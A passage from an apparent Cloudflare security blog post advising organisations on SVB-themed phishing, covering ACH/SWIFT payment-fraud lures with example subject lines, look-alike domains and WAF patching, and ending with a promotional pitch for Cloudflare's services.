  5. Encourage your end users to be vigilant about any ACH (Automated Clearing House) or SWIFT (Society for Worldwide Interbank Financial Telecommunication) related messages. ACH & SWIFT are systems which financial institutions use for electronic funds transfers between entities. Given its large scale prevalence, ACH & SWIFT phish are frequent tactics leveraged by threat actors to redirect payments to themselves. While we haven’t seen any large scale ACH campaigns utilizing the SVB brand over the past few days, it doesn’t mean they are not being planned or are imminent. Here are a few example subject lines to be aware of, that we have seen in similar payment fraud campaigns:

    “We’ve changed our bank details”
    “Updated Bank Account Information”
    “YOUR URGENT ACTION IS NEEDED –
    Important – Bank account details change”
    “Important – Bank account details change”
    “Financial Institution Change Notice”

  6. Stay vigilant against look-alike or cousin domains that could pop up in your email and web traffic associated with SVB. Cloudflare customers have in-built new domain controls within their email & web traffic which would prevent anomalous activity coming from these new domains from getting through.

  7. Ensure any public facing web applications are always patched to the latest versions and run a modern Web Application Firewall service in front of your applications. The campaign mentioned above took advantage of WordPress, which is frequently used by threat actors for their phishing sites. If you’re using the Cloudflare WAF, you can be automatically protected from third party CVEs before you even know about them. Having an effective WAF is critical to preventing threat actors from taking over your public Web presence and using it as part of a phishing campaign, SVB-themed or otherwise.

Staying ahead

Cloudforce One (Cloudflare’s threat operations team) proactively monitors emerging campaigns in their formative stages and publishes advisories and detection model updates to ensure our customers are protected. While this specific campaign is focused on SVB, the tactics seen are no different to other similar campaigns that our global network sees every day and automatically stops them before it impacts our customers.

Having a blend of strong technical controls across multiple communication channels along with a trained and vigilant workforce that is aware of the dangers posed by digital communications is crucial to stopping these attacks from going through.

Learn more about how Cloudflare can help in your own journey towards comprehensive phishing protection by using our Zero Trust services and reach out for a complimentary assessment today.